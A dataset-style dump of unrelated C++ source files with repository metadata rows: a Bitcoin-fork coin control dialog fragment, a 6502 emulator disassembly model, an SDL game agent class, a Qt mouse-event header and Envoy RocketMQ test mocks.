QString toolTip2 = tr("Transactions with higher priority are more likely to get included into a block.") + "<br /><br />";
toolTip2 += tr("This label turns red, if the priority is smaller than \"medium\".") + "<br /><br />";
toolTip2 += tr("This means a fee of at least %1 per kB is required.").arg(BitcoinUnits::formatWithUnit(nDisplayUnit, CWallet::minTxFee.GetFeePerK()));
QString toolTip3 = tr("This label turns red, if any recipient receives an amount smaller than %1.").arg(BitcoinUnits::formatWithUnit(nDisplayUnit, ::minRelayTxFee.GetFee(546)));
// how many satoshis the estimated fee can vary per byte we guess wrong
double dFeeVary;
if (payTxFee.GetFeePerK() > 0)
dFeeVary = (double)std::max(CWallet::minTxFee.GetFeePerK(), payTxFee.GetFeePerK()) / 1000;
else
dFeeVary = (double)std::max(CWallet::minTxFee.GetFeePerK(), mempool.estimateFee(nTxConfirmTarget).GetFeePerK()) / 1000;
QString toolTip4 = tr("Can vary +/- %1 duff(s) per input.").arg(dFeeVary);
l3->setToolTip(toolTip4);
l4->setToolTip(toolTip4);
l5->setToolTip(toolTip1);
l6->setToolTip(toolTip2);
l7->setToolTip(toolTip3);
l8->setToolTip(toolTip4);
dialog->findChild<QLabel*>("labelCoinControlFeeText")->setToolTip(l3->toolTip());
dialog->findChild<QLabel*>("labelCoinControlAfterFeeText")->setToolTip(l4->toolTip());
dialog->findChild<QLabel*>("labelCoinControlBytesText")->setToolTip(l5->toolTip());
dialog->findChild<QLabel*>("labelCoinControlPriorityText")->setToolTip(l6->toolTip());
dialog->findChild<QLabel*>("labelCoinControlLowOutputText")->setToolTip(l7->toolTip());
dialog->findChild<QLabel*>("labelCoinControlChangeText")->setToolTip(l8->toolTip());
// Insufficient funds
QLabel* label = dialog->findChild<QLabel*>("labelCoinControlInsuffFunds");
if (label)
label->setVisible(nChange < 0);
}
void CoinControlDialog::updateView()
{
if (!model || !model->getOptionsModel() || !model->getAddressTableModel())
return;
bool treeMode = ui->radioTreeMode->isChecked();
ui->treeWidget->clear();
ui->treeWidget->setEnabled(false); // performance, otherwise updateLabels would be called for every checked checkbox
ui->treeWidget->setAlternatingRowColors(!treeMode);
QFlags<Qt::ItemFlag> flgCheckbox = Qt::ItemIsSelectable | Qt::ItemIsEnabled | Qt::ItemIsUserCheckable;
QFlags<Qt::ItemFlag> flgTristate = Qt::ItemIsSelectable | Qt::ItemIsEnabled | Qt::ItemIsUserCheckable | Qt::ItemIsTristate;
int nDisplayUnit = model->getOptionsModel()->getDisplayUnit();
double mempoolEstimatePriority = mempool.estimatePriority(nTxConfirmTarget);
map<QString, vector<COutput> > mapCoins;
model->listCoins(mapCoins);
BOOST_FOREACH (PAIRTYPE(QString, vector<COutput>) coins, mapCoins) {
QTreeWidgetItem* itemWalletAddress = new QTreeWidgetItem();
itemWalletAddress->setCheckState(COLUMN_CHECKBOX, Qt::Unchecked);
QString sWalletAddress = coins.first;
QString sWalletLabel = model->getAddressTableModel()->labelForAddress(sWalletAddress);
if (sWalletLabel.isEmpty())
sWalletLabel = tr("(no label)");
if (treeMode) {
// wallet address
ui->treeWidget->addTopLevelItem(itemWalletAddress);
itemWalletAddress->setFlags(flgTristate);
itemWalletAddress->setCheckState(COLUMN_CHECKBOX, Qt::Unchecked);
// label
itemWalletAddress->setText(COLUMN_LABEL, sWalletLabel);
itemWalletAddress->setToolTip(COLUMN_LABEL, sWalletLabel);
// address
itemWalletAddress->setText(COLUMN_ADDRESS, sWalletAddress);
itemWalletAddress->setToolTip(COLUMN_ADDRESS, sWalletAddress);
}
CAmount nSum = 0;
double dPrioritySum = 0;
int nChildren = 0;
int nInputSum = 0;
BOOST_FOREACH (const COutput& out, coins.second) {
int nInputSize = 0;
nSum += out.tx->vout[out.i].nValue;
nChildren++;
QTreeWidgetItem* itemOutput;
if (treeMode)
itemOutput = new QTreeWidgetItem(itemWalletAddress);
else
itemOutput = new QTreeWidgetItem(ui->treeWidget);
itemOutput->setFlags(flgCheckbox);
itemOutput->setCheckState(COLUMN_CHECKBOX, Qt::Unchecked);
// address
CTxDestination outputAddress;
QString sAddress = "";
if (ExtractDestination(out.tx->vout[out.i].scriptPubKey, outputAddress)) {
sAddress = QString::fromStdString(CBitcoinAddress(outputAddress).ToString());
// if listMode or change => show THANA address. In tree mode, address is not shown again for direct wallet address outputs
if (!treeMode || (!(sAddress == sWalletAddress)))
itemOutput->setText(COLUMN_ADDRESS, sAddress);
itemOutput->setToolTip(COLUMN_ADDRESS, sAddress);
CPubKey pubkey;
CKeyID* keyid = boost::get<CKeyID>(&outputAddress);
if (keyid && model->getPubKey(*keyid, pubkey) && !pubkey.IsCompressed())
nInputSize = 29; // 29 = 180 - 151 (public key is 180 bytes, priority free area is 151 bytes)
}
// label
if (!(sAddress == sWalletAddress)) // change
{
// tooltip from where the change comes from
itemOutput->setToolTip(COLUMN_LABEL, tr("change from %1 (%2)").arg(sWalletLabel).arg(sWalletAddress));
itemOutput->setText(COLUMN_LABEL, tr("(change)"));
} else if (!treeMode) {
QString sLabel = model->getAddressTableModel()->labelForAddress(sAddress);
if (sLabel.isEmpty())
sLabel = tr("(no label)");
itemOutput->setText(COLUMN_LABEL, sLabel);
}
// amount
itemOutput->setText(COLUMN_AMOUNT, BitcoinUnits::format(nDisplayUnit, out.tx->vout[out.i].nValue));
itemOutput->setToolTip(COLUMN_AMOUNT, BitcoinUnits::format(nDisplayUnit, out.tx->vout[out.i].nValue));
itemOutput->setText(COLUMN_AMOUNT_INT64, strPad(QString::number(out.tx->vout[out.i].nValue), 15, " ")); // padding so that sorting works correctly
// date
itemOutput->setText(COLUMN_DATE, GUIUtil::dateTimeStr(out.tx->GetTxTime()));
itemOutput->setToolTip(COLUMN_DATE, GUIUtil::dateTimeStr(out.tx->GetTxTime()));
itemOutput->setText(COLUMN_DATE_INT64, strPad(QString::number(out.tx->GetTxTime()), 20, " "));
// ds+ rounds
CTxIn vin = CTxIn(out.tx->GetHash(), out.i);
int rounds = pwalletMain->GetInputObfuscationRounds(vin);
if (rounds >= 0)
itemOutput->setText(COLUMN_OBFUSCATION_ROUNDS, strPad(QString::number(rounds), 11, " "));
else
itemOutput->setText(COLUMN_OBFUSCATION_ROUNDS, strPad(QString(tr("n/a")), 11, " "));
// confirmations
itemOutput->setText(COLUMN_CONFIRMATIONS, strPad(QString::number(out.nDepth), 8, " "));
// priority
double dPriority = ((double)out.tx->vout[out.i].nValue / (nInputSize + 78)) * (out.nDepth + 1); // 78 = 2 * 34 + 10
itemOutput->setText(COLUMN_PRIORITY, CoinControlDialog::getPriorityLabel(dPriority, mempoolEstimatePriority));
itemOutput->setText(COLUMN_PRIORITY_INT64, strPad(QString::number((int64_t)dPriority), 20, " "));
dPrioritySum += (double)out.tx->vout[out.i].nValue * (out.nDepth + 1);
nInputSum += nInputSize;
// transaction hash
uint256 txhash = out.tx->GetHash();
itemOutput->setText(COLUMN_TXHASH, QString::fromStdString(txhash.GetHex()));
// vout index
itemOutput->setText(COLUMN_VOUT_INDEX, QString::number(out.i));
// disable locked coins
if (model->isLockedCoin(txhash, out.i)) {
COutPoint outpt(txhash, out.i);
coinControl->UnSelect(outpt); // just to be sure
itemOutput->setDisabled(true);
itemOutput->setIcon(COLUMN_CHECKBOX, QIcon(":/icons/lock_closed"));
}
// set checkbox
if (coinControl->IsSelected(txhash, out.i))
itemOutput->setCheckState(COLUMN_CHECKBOX, Qt::Checked);
}
// amount
if (treeMode) {
dPrioritySum = dPrioritySum / (nInputSum + 78);
itemWalletAddress->setText(COLUMN_CHECKBOX, "(" + QString::number(nChildren) + ")");
itemWalletAddress->setText(COLUMN_AMOUNT, BitcoinUnits::format(nDisplayUnit, nSum));
itemWalletAddress->setToolTip(COLUMN_AMOUNT, BitcoinUnits::format(nDisplayUnit, nSum));
itemWalletAddress->setText(COLUMN_AMOUNT_INT64, strPad(QString::number(nSum), 15, " "));
itemWalletAddress->setText(COLUMN_PRIORITY, CoinControlDialog::getPriorityLabel(dPrioritySum, mempoolEstimatePriority));
itemWalletAddress->setText(COLUMN_PRIORITY_INT64, strPad(QString::number((int64_t)dPrioritySum), 20, " "));
}
}
// expand all partially selected
if (treeMode) {
for (int i = 0; i < ui->treeWidget->topLevelItemCount(); i++)
if (ui->treeWidget->topLevelItem(i)->checkState(COLUMN_CHECKBOX) == Qt::PartiallyChecked)
ui->treeWidget->topLevelItem(i)->setExpanded(true);
}
// sort view
sortView(sortColumn, sortOrder);
ui->treeWidget->setEnabled(true);
}
| [
"45721955+Thanacore@users.noreply.github.com"
] | 45721955+Thanacore@users.noreply.github.com |
af208295410173d85c39e6ea5b5a0168eb696373 | 8495e8201b12c5dca8f3bc1319cbf208f679cb50 | /emulator/rambusdevicedisassemblymodel.cpp | df0c6e4aa8f24272cefed56f1b9a6713d9dc8c7e | [] | no_license | vcato/qt-quick-6502-emulator | 1eb8afbfab9ad776fed81a0810f5b3912e6756df | 6202e546efddc612f229da078238f829dd756e12 | refs/heads/master | 2021-06-21T13:52:51.234446 | 2021-06-15T01:24:18 | 2021-06-15T01:24:18 | 208,083,263 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,786 | cpp | #include "rambusdevicedisassemblymodel.hpp"
#include <QtQml>
RamBusDeviceDisassemblyModel::RamBusDeviceDisassemblyModel(QObject *parent)
:
QObject(parent)
{
}
void RamBusDeviceDisassemblyModel::RegisterType()
{
qmlRegisterType<RamBusDeviceDisassemblyModel>("Qt.example.rambusdevicedisassemblymodel",
1,
0,
"RamBusDeviceDisassemblyModel");
}
void RamBusDeviceDisassemblyModel::setMemoryModel(RamBusDevice *new_model)
{
if (new_model != _memory_model)
{
if (_memory_model)
{
// _memory_model->disconnect(_memory_model, &RamBusDevice::memoryChanged,
// this, &RamBusDeviceDisassemblyModel::onMemoryChanged);
}
_memory_model = new_model;
if (new_model)
{
// new_model->connect(new_model, &RamBusDevice::memoryChanged,
// this, &RamBusDeviceDisassemblyModel::onMemoryChanged);
}
emit memoryModelChanged();
calculateVisibleDisassemblyIfNecessary();
}
}
void RamBusDeviceDisassemblyModel::setCpuModel(olc6502 *new_cpu_model)
{
if (new_cpu_model != _cpu_model)
{
// Don't forget to disconnect the old model...
if (_cpu_model)
{
new_cpu_model->disconnect(new_cpu_model, &olc6502::pcChanged,
this, &RamBusDeviceDisassemblyModel::onCpuProgramCounterChanged);
}
_cpu_model = new_cpu_model;
// and wire up the new one...
if (new_cpu_model)
{
new_cpu_model->connect(new_cpu_model, &olc6502::pcChanged,
this, &RamBusDeviceDisassemblyModel::onCpuProgramCounterChanged);
}
emit cpuModelChanged();
calculateVisibleDisassemblyIfNecessary();
}
}
void RamBusDeviceDisassemblyModel::setNumberOfLines(int lines)
{
if (lines != _number_of_lines)
{
_number_of_lines = lines;
emit numberOfLinesChanged();
}
}
void RamBusDeviceDisassemblyModel::setStartAddress(int address)
{
if (address != _start_address)
{
_start_address = address;
emit startAddressChanged();
calculateVisibleDisassemblyIfNecessary();
}
}
void RamBusDeviceDisassemblyModel::setEndAddress(int address)
{
if (address != _end_address)
{
_end_address = address;
emit endAddressChanged();
calculateVisibleDisassemblyIfNecessary();
}
}
void RamBusDeviceDisassemblyModel::calculateVisibleDisassemblyIfNecessary()
{
if ((startAddress() < endAddress()) && memoryModel() && cpuModel())
{
retrieveDisassembly();
calculateVisibleDisassembly();
}
}
void RamBusDeviceDisassemblyModel::onCpuProgramCounterChanged(uint16_t address)
{
Q_UNUSED(address)
calculateVisibleDisassembly();
}
void RamBusDeviceDisassemblyModel::retrieveDisassembly()
{
if (memoryModel() && cpuModel())
_cpu_disassembly = cpuModel()->disassemble( memoryModel()->lowerAddress(),
memoryModel()->upperAddress());
else
_cpu_disassembly.clear();
}
void RamBusDeviceDisassemblyModel::calculateVisibleDisassembly()
{
QString newDisassembly;
QString newLine = "<br>";
QString colorStart = "<font color='cyan'>";
QString colorEnd = "</font>";
int currentLineRange = 0;
int linesHalfRange = numberOfLines() / 2;
// First, construct the second half...
for (auto currentLine = _cpu_disassembly.find( cpuModel()->pc());
(currentLine != std::end(_cpu_disassembly)) && (currentLineRange < linesHalfRange);
++currentLine, ++currentLineRange)
{
if (newDisassembly.size() > 0)
newDisassembly.append(newLine);
if (currentLine->first == cpuModel()->pc())
newDisassembly.append(colorStart);
newDisassembly.append( QString(currentLine->second.c_str()) );
if (currentLine->first == cpuModel()->pc())
newDisassembly.append(colorEnd);
}
// And now construct the first half...
currentLineRange = 0;
for (auto currentLine = _cpu_disassembly.find( cpuModel()->pc());
(currentLine != std::end(_cpu_disassembly)) && (currentLineRange < linesHalfRange);
--currentLine, ++currentLineRange)
{
newDisassembly.prepend( QString(currentLine->second.c_str()).append(newLine) );
}
if (newDisassembly != visibleDisassembly())
{
_visible_disassembly = newDisassembly;
emit visibleDisassemblyChanged();
}
}
| [
"16119203+mr-mocap@users.noreply.github.com"
] | 16119203+mr-mocap@users.noreply.github.com |
e9e214b7db0c6b70dafd8fce7067a4975da630ba | 82f53bc74ca2cef6118f3574c56f3f6283b7de2a | /src/Agent.cpp | ff31a3007d5522f4eac633bf69d4480520c5d1a9 | [] | no_license | Biowned/FSM-GOAP | ec848bbb5518e0e34e4d3a13f379c6a25fbf273a | 5b9ece1a6763569ada4bd985c9d5ba6cb50a2410 | refs/heads/master | 2021-05-12T14:34:03.030378 | 2018-01-10T16:58:11 | 2018-01-10T16:58:11 | 116,960,951 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 4,040 | cpp | #include "Agent.h"
#include "ScenePlanning.h"
using namespace std;
Agent::Agent() : sprite_texture(0),
position(Vector2D(100, 100)),
target(Vector2D(1000, 100)),
velocity(Vector2D(0,0)),
mass(0.1f),
max_force(150),
max_velocity(200),
orientation(0),
color({ 255,255,255,255 }),
sprite_num_frames(0),
sprite_w(0),
sprite_h(0),
draw_sprite(false)
{
steering_behavior = new SteeringBehavior;
home = new Home;
saloon = new Saloon;
mine = new Mine;
bank = new Bank;
tireness = 0;
gold = 0;
}
Agent::~Agent()
{
if (sprite_texture)
SDL_DestroyTexture(sprite_texture);
if (steering_behavior)
delete (steering_behavior);
}
SteeringBehavior * Agent::Behavior()
{
return steering_behavior;
}
Vector2D Agent::getPosition()
{
return position;
}
Vector2D Agent::getTarget()
{
return target;
}
Vector2D Agent::getVelocity()
{
return velocity;
}
float Agent::getMaxVelocity()
{
return max_velocity;
}
void Agent::setPosition(Vector2D _position)
{
position = _position;
}
void Agent::setTarget(Vector2D _target)
{
target = _target;
}
void Agent::setVelocity(Vector2D _velocity)
{
velocity = _velocity;
}
void Agent::setMass(float _mass)
{
mass = _mass;
}
void Agent::setColor(Uint8 r, Uint8 g, Uint8 b, Uint8 a)
{
color = { r, g, b, a };
}
void Agent::update(Vector2D steering_force, float dtime, SDL_Event *event)
{
/*printf("POS X: %f ", position.x);
printf("POS Y: %f\n", position.y);*/
//cout << "agent update:" << endl;
switch (event->type) {
/* Keyboard & Mouse events */
case SDL_KEYDOWN:
if (event->key.keysym.scancode == SDL_SCANCODE_SPACE)
draw_sprite = !draw_sprite;
break;
default:
break;
}
Vector2D acceleration = steering_force / mass;
velocity = velocity + acceleration * dtime;
velocity = velocity.Truncate(max_velocity);
position = position + velocity * dtime;
//currState->Update(this);
// Update orientation
if (velocity.Length()>0)
orientation = (float)(atan2(velocity.y, velocity.x) * RAD2DEG);
// Trim position values to window size
if (position.x < 0) position.x = TheApp::Instance()->getWinSize().x;
if (position.y < 0) position.y = TheApp::Instance()->getWinSize().y;
if (position.x > TheApp::Instance()->getWinSize().x) position.x = 0;
if (position.y > TheApp::Instance()->getWinSize().y) position.y = 0;
}
void Agent::draw()
{
if (draw_sprite)
{
Uint32 sprite;
if (velocity.Length() < 5.0)
sprite = 1;
else
sprite = (int)(SDL_GetTicks() / (max_velocity)) % sprite_num_frames;
SDL_Rect srcrect = { (int)sprite * sprite_w, 0, sprite_w, sprite_h };
SDL_Rect dstrect = { (int)position.x - (sprite_w / 2), (int)position.y - (sprite_h / 2), sprite_w, sprite_h };
SDL_Point center = { sprite_w / 2, sprite_h / 2 };
SDL_RenderCopyEx(TheApp::Instance()->getRenderer(), sprite_texture, &srcrect, &dstrect, orientation+90, ¢er, SDL_FLIP_NONE);
}
else
{
draw_circle(TheApp::Instance()->getRenderer(), (int)position.x, (int)position.y, 15, color.r, color.g, color.b, color.a);
SDL_RenderDrawLine(TheApp::Instance()->getRenderer(), (int)position.x, (int)position.y, (int)(position.x+15*cos(orientation*DEG2RAD)), (int)(position.y+15*sin(orientation*DEG2RAD)));
}
}
bool Agent::loadSpriteTexture(char* filename, int _num_frames)
{
if (_num_frames < 1) return false;
SDL_Surface *image = IMG_Load(filename);
if (!image) {
cout << "IMG_Load: " << IMG_GetError() << endl;
return false;
}
sprite_texture = SDL_CreateTextureFromSurface(TheApp::Instance()->getRenderer(), image);
sprite_num_frames = _num_frames;
sprite_w = image->w / sprite_num_frames;
sprite_h = image->h;
draw_sprite = true;
if (image)
SDL_FreeSurface(image);
return true;
}
void Agent::changeState(State* state) {
//currState->Exit(this);
currState = state;
//currState->Enter(this);
}
//Path Agent::Astar(Vector2D init, Vector2D goal) {
// Path uolo;
// return uolo;
//}
| [
"borjamunt@gmail.com"
] | borjamunt@gmail.com |
125efee940a2d6344ee997ab7652a7f39fa0d618 | 4b2184ba5e74d4fef0177694a6540daa4599d9bb | /mythos/iris/mouse_move.hpp | 5bde16cce7771a901777b19ee74fad4d978963d2 | [] | no_license | diosmosis/iris | 7765963e122c2383651aa0f4a76d9a367fa201ac | fc8c0f57c1839accdc816e0ef8d00de4ed9802e3 | refs/heads/master | 2018-05-12T21:54:40.524292 | 2008-02-08T01:52:42 | 2008-02-08T01:52:42 | 1,283,859 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,718 | hpp | /*
This file is part of mythos.
Copyright (c) 2007-2008 Benaka Moorthi
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#if !defined( MYTHOS_IRIS_MOUSE_MOVE_HPP )
#define MYTHOS_IRIS_MOUSE_MOVE_HPP
#include <mythos/iris/detail/declare_event.hpp>
#include <mythos/nyx/point.hpp>
#include <mythos/nyx/window.hpp>
#include <mythos/khaos/event/mouse_move.hpp>
MYTHOS_IRIS_DECLARE_EVENT(mythos::khaos::mouse_move, mouse_move)
namespace mythos { namespace iris
{
inline bool mouse_move(nyx::window const& win, nyx::point const& pt)
{
return khaos::mouse_move::raise(win.khaos_window(), pt);
}
}}
#endif // #if !defined( MYTHOS_IRIS_MOUSE_MOVE_HPP )
| [
"benaka.moorthi@gmail.com"
] | benaka.moorthi@gmail.com |
a072cf591da8d43ce280fbdcd7f0dc53b20812eb | 49cd5b923560b3258bdc4bddf183a89d847bd3ff | /test/extensions/filters/network/rocketmq_proxy/mocks.h | 8debb71f82170feb61308b600b56f2dd1a7dbf06 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | envoyproxy/envoy-wasm | 4b12c109387594122915dcc8de36bf5958eba95b | ab5d9381fdf92a1efa0b87cff80036b5b3e81198 | refs/heads/master | 2023-08-01T12:38:34.269641 | 2020-10-09T18:27:33 | 2020-10-09T18:27:33 | 185,880,979 | 223 | 96 | Apache-2.0 | 2020-12-15T18:56:39 | 2019-05-09T22:37:07 | C++ | UTF-8 | C++ | false | false | 2,514 | h | #pragma once
#include "extensions/filters/network/rocketmq_proxy/active_message.h"
#include "extensions/filters/network/rocketmq_proxy/conn_manager.h"
#include "test/mocks/upstream/cluster_manager.h"
#include "gmock/gmock.h"
namespace Envoy {
namespace Extensions {
namespace NetworkFilters {
namespace RocketmqProxy {
namespace Router {
class MockRoute;
} // namespace Router
class MockActiveMessage : public ActiveMessage {
public:
MockActiveMessage(ConnectionManager& conn_manager, RemotingCommandPtr&& request);
~MockActiveMessage() override;
MOCK_METHOD(void, createFilterChain, ());
MOCK_METHOD(void, sendRequestToUpstream, ());
MOCK_METHOD(RemotingCommandPtr&, downstreamRequest, ());
MOCK_METHOD(void, sendResponseToDownstream, ());
MOCK_METHOD(void, onQueryTopicRoute, ());
MOCK_METHOD(void, onError, (absl::string_view));
MOCK_METHOD(ConnectionManager&, connectionManager, ());
MOCK_METHOD(void, onReset, ());
MOCK_METHOD(bool, onUpstreamData,
(Buffer::Instance&, bool, Tcp::ConnectionPool::ConnectionDataPtr&));
MOCK_METHOD(MessageMetadataSharedPtr, metadata, (), (const));
MOCK_METHOD(Router::RouteConstSharedPtr, route, ());
std::shared_ptr<Router::MockRoute> route_;
};
class MockConfig : public Config {
public:
MockConfig();
~MockConfig() override = default;
MOCK_METHOD(RocketmqFilterStats&, stats, ());
MOCK_METHOD(Upstream::ClusterManager&, clusterManager, ());
MOCK_METHOD(Router::RouterPtr, createRouter, ());
MOCK_METHOD(bool, developMode, (), (const));
MOCK_METHOD(std::string, proxyAddress, ());
MOCK_METHOD(Router::Config&, routerConfig, ());
private:
Stats::IsolatedStoreImpl store_;
RocketmqFilterStats stats_;
NiceMock<Upstream::MockClusterManager> cluster_manager_;
Router::RouterPtr router_;
};
namespace Router {
class MockRouteEntry : public RouteEntry {
public:
MockRouteEntry();
~MockRouteEntry() override;
// RocketmqProxy::Router::RouteEntry
MOCK_METHOD(const std::string&, clusterName, (), (const));
MOCK_METHOD(Envoy::Router::MetadataMatchCriteria*, metadataMatchCriteria, (), (const));
std::string cluster_name_{"fake_cluster"};
};
class MockRoute : public Route {
public:
MockRoute();
~MockRoute() override;
// RocketmqProxy::Router::Route
MOCK_METHOD(const RouteEntry*, routeEntry, (), (const));
NiceMock<MockRouteEntry> route_entry_;
};
} // namespace Router
} // namespace RocketmqProxy
} // namespace NetworkFilters
} // namespace Extensions
} // namespace Envoy
| [
"noreply@github.com"
] | envoyproxy.noreply@github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.